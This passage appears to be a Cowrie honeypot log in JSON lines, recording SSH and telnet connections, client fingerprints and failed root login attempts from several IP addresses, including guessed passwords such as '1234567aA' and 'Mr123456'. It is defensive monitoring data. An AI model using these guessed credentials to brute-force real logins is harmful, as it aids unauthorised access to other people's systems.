d6:c9:35:52:98:d9:4f:d1:75:37:59:0e:20:74:b1:23","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:53:46.200125Z","src_ip":"62.210.207.172","session":"b37bcc85cd4a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"d6:c9:35:52:98:d9:4f:d1:75:37:59:0e:20:74:b1:23","key":"ssh-dss AAAAB3NzaC1kc3MAAACBALdvWE1GrP7zvkcXzV/lE1Fx8x1pVdLfaF5x268zh6EinSzSvwoJZ9ykGkM19Vdc/7xirRrCifg9LFjxAepp+VNsd1Ligqa87wBJEG1omZW4wMs4o3h/kNJYPQKu31PysOdytLmhf2w+r/SJELfd4/ue2zBPfWSID7cf2ukY3gP1AAAAFQCuQhIZ16FzgiNVoz0Zc+GCVWoc3QAAAIEApZ7OPspxo3YqZExJeTYv2rOJRhFBLKGxiUeR7KwxjHCpy2dWmw6mj3lwPZYAwcX9kGgM9G7RHg9CgXVaXlQSPg02YeRTUj6/xCfZWizuTI6mnfWUq4n/RubDAzp115w0TFeTAc1wBkF0fe/c0CrVKeSzk3ETLwRmsl8tYM8aBGMAAACACoLJVg/fufF2o+0EleZd36C1tWph/R5xH6xUzOawzZCQIsFuIE3Od9rs+2KnSbAEkExnVoyedlLfJSrVVQZXGibhFAKwTcQgTPNaw4AuuC4LfNLyOCe4fLW/daDplRg1p6BsgYr73EwnotNEQP1hVMAoQTqX3KTAK/0gRttd1sM=","type":"ssh-dss","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:53:46.204031Z","src_ip":"62.210.207.172","session":"b37bcc85cd4a","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"1f:6f:36:ff:98:43:33:55:3b:99:18:49:52:0f:de:51","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCqNNG+elsabqRUsR3luWjfnJhlG2TQyza68+36+5OLkhdnoy3soCeURdah/+jeD3JYn4l6ELOHYnQEVi0TWgmSlMl/i8kwdoQt97jvHqOJqGer4rldnyl9xZhuEeB/5r8rczHI5cBDBw892ybs7/KgwT0At+l1VQz/euFt5U5dEWWcsFimsOjeedHsp+iebloMnApOzi1I8lWIhSjMbDE9qHl5K8UxZq+FFzYhShSu0P/U3pQ80W1B54cqMW3dItgcT/T+Rm5Il+GZhGB1mAqaWK2tOBCQh0Ql49EbOBBdI+3pZl8DC2r9edLWQ+yJk49cZLzjGkGqeFbvMZiq50eNyYS7w9vtnUAYpfgDOeib1MmZ686HlaGSxd6MJs+YVKF6+DKY9A1lATscxkIOeYDFJMbOBUgIBqwY3Gnx9k/cb3jLgYGv4G5SKPoOgXd3VN+FOV0ul/QBaWVk+BAB6Jr3liiinnmVD0fcNkdVRynsF87EaoGKtFzmMCqO81QcxkvhWsyRbdO6QW/qAlRaU8UkEislR6fDqmMxOPH59e47nGHExgsrnmwDDvnSgd4lwN1zYEaHae/vo8DgRtzSL0ygF9Xi+5jiDLlBsCOBo1OWlV79dQew4/8cB5aXnEt7CxqmUIkMGfGG34hk20hGZuVwT5ftmvM9Bc/KH01iDHrc7Q==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 1f:6f:36:ff:98:43:33:55:3b:99:18:49:52:0f:de:51","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:53:46.293748Z","src_ip":"62.210.207.172","session":"b37bcc85cd4a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"1f:6f:36:ff:98:43:33:55:3b:99:18:49:52:0f:de:51","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCqNNG+elsabqRUsR3luWjfnJhlG2TQyza68+36+5OLkhdnoy3soCeURdah/+jeD3JYn4l6ELOHYnQEVi0TWgmSlMl/i8kwdoQt97jvHqOJqGer4rldnyl9xZhuEeB/5r8rczHI5cBDBw892ybs7/KgwT0At+l1VQz/euFt5U5dEWWcsFimsOjeedHsp+iebloMnApOzi1I8lWIhSjMbDE9qHl5K8UxZq+FFzYhShSu0P/U3pQ80W1B54cqMW3dItgcT/T+Rm5Il+GZhGB1mAqaWK2tOBCQh0Ql49EbOBBdI+3pZl8DC2r9edLWQ+yJk49cZLzjGkGqeFbvMZiq50eNyYS7w9vtnUAYpfgDOeib1MmZ686HlaGSxd6MJs+YVKF6+DKY9A1lATscxkIOeYDFJMbOBUgIBqwY3Gnx9k/cb3jLgYGv4G5SKPoOgXd3VN+FOV0ul/QBaWVk+BAB6Jr3liiinnmVD0fcNkdVRynsF87EaoGKtFzmMCqO81QcxkvhWsyRbdO6QW/qAlRaU8UkEislR6fDqmMxOPH59e47nGHExgsrnmwDDvnSgd4lwN1zYEaHae/vo8DgRtzSL0ygF9Xi+5jiDLlBsCOBo1OWlV79dQew4/8cB5aXnEt7CxqmUIkMGfGG34hk20hGZuVwT5ftmvM9Bc/KH01iDHrc7Q==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:53:46.297249Z","src_ip":"62.210.207.172","session":"b37bcc85cd4a","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ab:21:61:aa:bd:e8:d0:ea:77:9c:bd:ea:7d:94:8b:a9","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC/tgCPndt/TDxiRaeLc4RDEi1fJ+DlHIKm0Vff2K+6WUDbr17Oez8T55rem/cdkuJSiiem8aORn3pjIM7lXvEVBJBYeghjG7ypUHfS9+WpncGG6m/UAD428+/9I79FrUOhK5D+f51t2rnKBlmJehHB0FuOM2YEPgfAoGN5D8NvvRRg3tyF+HPh2N7P7Y+2k8rfXXVYIZT8GlqVh0Xs7S6UN1tPov/ykVCn0Lt6a4TL4Goz5baKVsZzIuTA2ptQRG+5hntwzTRdjUXCYe1b3cDA2lmK8IYGFpG+4iar4qQRobKiDdkBHhNq41AOQ6HFV8rWwQQtQXCmDgM/9b/eT24gbwonAq5U1SO2dq66E9CvJBpCaBfJVsepvOnArxCmWV+/MuUsYO2DJDbKQj1yPR6gb4joNQAp5DEuXtftESdOSDEyULzyONlLmvNBfcbr+DR6IQQtTG9Z5RPek84h3m8okoGZqt/e7QGGOioCa1Ocj0apwKYmNF/sGfwBG5YLKAUBhVXRldulo4eiIbw40swVYsb/AyNL3uXoCidSIEDUVt58cxML7/6NX0LvS4oCPKlm8eeiWBI3z7lXL25QHP6QyXrZXsPiGEXjpxEJbPhbknS6fjoGEMUn9m1t9B27yap8B3/yJ4hVtXKzUmYNYmHnt+On8p+qL2HAGukgzFN21Q==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint ab:21:61:aa:bd:e8:d0:ea:77:9c:bd:ea:7d:94:8b:a9","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:53:46.378968Z","src_ip":"62.210.207.172","session":"b37bcc85cd4a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ab:21:61:aa:bd:e8:d0:ea:77:9c:bd:ea:7d:94:8b:a9","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC/tgCPndt/TDxiRaeLc4RDEi1fJ+DlHIKm0Vff2K+6WUDbr17Oez8T55rem/cdkuJSiiem8aORn3pjIM7lXvEVBJBYeghjG7ypUHfS9+WpncGG6m/UAD428+/9I79FrUOhK5D+f51t2rnKBlmJehHB0FuOM2YEPgfAoGN5D8NvvRRg3tyF+HPh2N7P7Y+2k8rfXXVYIZT8GlqVh0Xs7S6UN1tPov/ykVCn0Lt6a4TL4Goz5baKVsZzIuTA2ptQRG+5hntwzTRdjUXCYe1b3cDA2lmK8IYGFpG+4iar4qQRobKiDdkBHhNq41AOQ6HFV8rWwQQtQXCmDgM/9b/eT24gbwonAq5U1SO2dq66E9CvJBpCaBfJVsepvOnArxCmWV+/MuUsYO2DJDbKQj1yPR6gb4joNQAp5DEuXtftESdOSDEyULzyONlLmvNBfcbr+DR6IQQtTG9Z5RPek84h3m8okoGZqt/e7QGGOioCa1Ocj0apwKYmNF/sGfwBG5YLKAUBhVXRldulo4eiIbw40swVYsb/AyNL3uXoCidSIEDUVt58cxML7/6NX0LvS4oCPKlm8eeiWBI3z7lXL25QHP6QyXrZXsPiGEXjpxEJbPhbknS6fjoGEMUn9m1t9B27yap8B3/yJ4hVtXKzUmYNYmHnt+On8p+qL2HAGukgzFN21Q==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:53:46.382861Z","src_ip":"62.210.207.172","session":"b37bcc85cd4a","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"e1:d0:38:0f:35:7b:9d:fa:06:15:85:22:7d:86:b8:45","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCydEOIbcTwIMFEhDP/ga519m7x+KX0c0VayVxJ1jZ0wmgnII8JBsqPJfT4LzGzwLf5KhiJbs5JRalCnj6d9ogobI9JtYzr0rTiiWSoHsowTOSI3+qPjGcuDLan3JIeWzvlOWm9PfUEl35dLxa4+CcidO0p7rHWkLZDqT2INPZTrhpGDv4Wnu2VdpmTWcZcFAqzvUMEntF/VZZjXSxseG6Wb8hpZVMEYSR2+720w4wctwoT9/sZuzbXCJDJSHTaGy4eYm1BHlUlDS0TZ1xBHDcix09eRRlV3ZYB5y2jdecy14YXhqducUnafX9aPBPO7eK6oOYaJruMI4DjCWCzMc7XBjFAFhiV3SOOjCBXwJ7IutcJEYZa385VU2eKJ5airOik+AT0DxD42YqHCXbhht1LQDA44BoYnSuwQ8C2wqp4JIhdNHPLlOGd8ESiOT2fAtECxFBKONE1j4+blBKHtXl0K8wdB6KnmuAtq3Pr6MKZ25t2ehgYMqqjDrkvqb0mQtejJ4UHsvWieKQTcsqcOkwE51KhEPSt5YkcK+UJK0f7rpLvhyhR61vj4HJ0s/E+gEge6YLM2XEur7DVxfd/OnFCmL4CC/uC9HQigyL9lFsBdBJzDC/CfIYM2xg8YxopoEttsNwi8dFCWBCRlJsEmMFJ4Looid0v9R6zkr8OjHwExw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint e1:d0:38:0f:35:7b:9d:fa:06:15:85:22:7d:86:b8:45","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:53:46.464998Z","src_ip":"62.210.207.172","session":"b37bcc85cd4a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"e1:d0:38:0f:35:7b:9d:fa:06:15:85:22:7d:86:b8:45","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCydEOIbcTwIMFEhDP/ga519m7x+KX0c0VayVxJ1jZ0wmgnII8JBsqPJfT4LzGzwLf5KhiJbs5JRalCnj6d9ogobI9JtYzr0rTiiWSoHsowTOSI3+qPjGcuDLan3JIeWzvlOWm9PfUEl35dLxa4+CcidO0p7rHWkLZDqT2INPZTrhpGDv4Wnu2VdpmTWcZcFAqzvUMEntF/VZZjXSxseG6Wb8hpZVMEYSR2+720w4wctwoT9/sZuzbXCJDJSHTaGy4eYm1BHlUlDS0TZ1xBHDcix09eRRlV3ZYB5y2jdecy14YXhqducUnafX9aPBPO7eK6oOYaJruMI4DjCWCzMc7XBjFAFhiV3SOOjCBXwJ7IutcJEYZa385VU2eKJ5airOik+AT0DxD42YqHCXbhht1LQDA44BoYnSuwQ8C2wqp4JIhdNHPLlOGd8ESiOT2fAtECxFBKONE1j4+blBKHtXl0K8wdB6KnmuAtq3Pr6MKZ25t2ehgYMqqjDrkvqb0mQtejJ4UHsvWieKQTcsqcOkwE51KhEPSt5YkcK+UJK0f7rpLvhyhR61vj4HJ0s/E+gEge6YLM2XEur7DVxfd/OnFCmL4CC/uC9HQigyL9lFsBdBJzDC/CfIYM2xg8YxopoEttsNwi8dFCWBCRlJsEmMFJ4Looid0v9R6zkr8OjHwExw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:53:46.467916Z","src_ip":"62.210.207.172","session":"b37bcc85cd4a","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"e8:c9:2c:7a:3d:f6:d5:cc:71:a5:89:fe:59:8b:9f:68","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCn4h2AuflaHkJu8JtG4UlKYsUwjgokihAtZ0PCLESceUm3+ETqv7g5EirjXqfcn8DsvMp6ZTVKEqvlpBhqtQcrfv81iJ4q09PS5wE4/wPA4MxV+WLQxZNYhBs1aExjV//uTHW2Al0g/9yJYQUnJMqHCj4ZdTyKDzY56tFXUL9CWDnVh6gH2ePDWyOtjClAypBH8H+uY9q8AlB52TR8gLysaMrRoiBE+T22501OVaY7tnrQ+vb5xISeEkJghCmlGLz9Cot/1vAhJ2/dvm21LP6Vhnv+gFYwPcS0nL3ChUgwB2/SvRB4w5X6WAN9yauuAA0AKtt454uhgejZXysk7yKlS+8Lbf6F0hN5CbuwtKMI+O837Ho4yzkxQUGXiNl4/P9WLaSvhS7RRfEpdU4mUgd/Y1vbcd4rTiMmhE0P1poyuQJOpikKeQIlb5SmGCaPryeYo3PBGD2J8WEMf4twkramICBz+0KsUZqHI6+cM7Zrc4/QlSW4RDP+A/DNGeXt2+l+2zrRpub9sxJzDUVAERJQ6q3T1djGi4FDKXBVdHr2K/hpyEcZSN2hBq7YjaiXxtVF+PUOJsNMiYdRoDqKrETXRMXsp3Ujt9W6/MAN/Un+Bph6aCM4U3YBwrHCdACc+Q9QBjxylXBh2s9RRhOD8lPUz7qu089VsB62aWutDFPXJw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint e8:c9:2c:7a:3d:f6:d5:cc:71:a5:89:fe:59:8b:9f:68","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:53:46.554289Z","src_ip":"62.210.207.172","session":"b37bcc85cd4a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"e8:c9:2c:7a:3d:f6:d5:cc:71:a5:89:fe:59:8b:9f:68","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCn4h2AuflaHkJu8JtG4UlKYsUwjgokihAtZ0PCLESceUm3+ETqv7g5EirjXqfcn8DsvMp6ZTVKEqvlpBhqtQcrfv81iJ4q09PS5wE4/wPA4MxV+WLQxZNYhBs1aExjV//uTHW2Al0g/9yJYQUnJMqHCj4ZdTyKDzY56tFXUL9CWDnVh6gH2ePDWyOtjClAypBH8H+uY9q8AlB52TR8gLysaMrRoiBE+T22501OVaY7tnrQ+vb5xISeEkJghCmlGLz9Cot/1vAhJ2/dvm21LP6Vhnv+gFYwPcS0nL3ChUgwB2/SvRB4w5X6WAN9yauuAA0AKtt454uhgejZXysk7yKlS+8Lbf6F0hN5CbuwtKMI+O837Ho4yzkxQUGXiNl4/P9WLaSvhS7RRfEpdU4mUgd/Y1vbcd4rTiMmhE0P1poyuQJOpikKeQIlb5SmGCaPryeYo3PBGD2J8WEMf4twkramICBz+0KsUZqHI6+cM7Zrc4/QlSW4RDP+A/DNGeXt2+l+2zrRpub9sxJzDUVAERJQ6q3T1djGi4FDKXBVdHr2K/hpyEcZSN2hBq7YjaiXxtVF+PUOJsNMiYdRoDqKrETXRMXsp3Ujt9W6/MAN/Un+Bph6aCM4U3YBwrHCdACc+Q9QBjxylXBh2s9RRhOD8lPUz7qu089VsB62aWutDFPXJw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:53:46.559798Z","src_ip":"62.210.207.172","session":"b37bcc85cd4a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.9","message":"Connection lost after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:53:46.642755Z","src_ip":"62.210.207.172","session":"b37bcc85cd4a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.205.128","src_port":39300,"dst_ip":"10.17.0.5","dst_port":22,"session":"06cc3da740e7","protocol":"ssh","message":"New connection: 165.154.205.128:39300 (10.17.0.5:22) [session: 06cc3da740e7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:54:33.095118Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:54:33.099531Z","src_ip":"165.154.205.128","session":"06cc3da740e7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:54:33.348980Z","src_ip":"165.154.205.128","session":"06cc3da740e7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1234567aA","message":"login attempt [root/1234567aA] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:54:34.361928Z","src_ip":"165.154.205.128","session":"06cc3da740e7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:54:35.621603Z","src_ip":"165.154.205.128","session":"06cc3da740e7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"199.103.57.63","src_port":33830,"dst_ip":"159.203.135.109","dst_port":23,"session":"61898b2cb42e","protocol":"telnet","message":"New connection: 199.103.57.63:33830 (159.203.135.109:23) [session: 61898b2cb42e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:54:58.393649Z"}
{"eventid":"cowrie.session.closed","duration":32.63451027870178,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:55:31.028028Z","src_ip":"199.103.57.63","session":"61898b2cb42e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.205.128","src_port":55794,"dst_ip":"10.17.0.5","dst_port":22,"session":"b415f29f0864","protocol":"ssh","message":"New connection: 165.154.205.128:55794 (10.17.0.5:22) [session: b415f29f0864]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:55:32.060228Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:55:32.065021Z","src_ip":"165.154.205.128","session":"b415f29f0864","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:55:32.295184Z","src_ip":"165.154.205.128","session":"b415f29f0864","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"asdqwe","message":"login attempt [root/asdqwe] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:55:33.235815Z","src_ip":"165.154.205.128","session":"b415f29f0864","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:55:34.466989Z","src_ip":"165.154.205.128","session":"b415f29f0864","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.205.128","src_port":37082,"dst_ip":"10.17.0.5","dst_port":22,"session":"93ef483c2a6e","protocol":"ssh","message":"New connection: 165.154.205.128:37082 (10.17.0.5:22) [session: 93ef483c2a6e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:56:32.439535Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:56:32.444128Z","src_ip":"165.154.205.128","session":"93ef483c2a6e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:56:32.673107Z","src_ip":"165.154.205.128","session":"93ef483c2a6e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Mr123456","message":"login attempt [root/Mr123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:56:33.622015Z","src_ip":"165.154.205.128","session":"93ef483c2a6e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"218.207.25.249","src_port":49832,"dst_ip":"10.17.0.5","dst_port":22,"session":"fa24865c8637","protocol":"ssh","message":"New connection: 218.207.25.249:49832 (10.17.0.5:22) [session: fa24865c8637]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:56:33.727850Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:56:33.732659Z","src_ip":"218.207.25.249","session":"fa24865c8637","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.6","message":"Connection lost after 0.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:56:34.286689Z","src_ip":"218.207.25.249","session":"fa24865c8637","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:56:34.853234Z","src_ip":"165.154.205.128","session":"93ef483c2a6e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":33138,"dst_ip":"10.17.0.5","dst_port":22,"session":"6d7152dc3897","protocol":"ssh","message":"New connection: 87.251.64.176:33138 (10.17.0.5:22) [session: 6d7152dc3897]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:57:07.978932Z"}
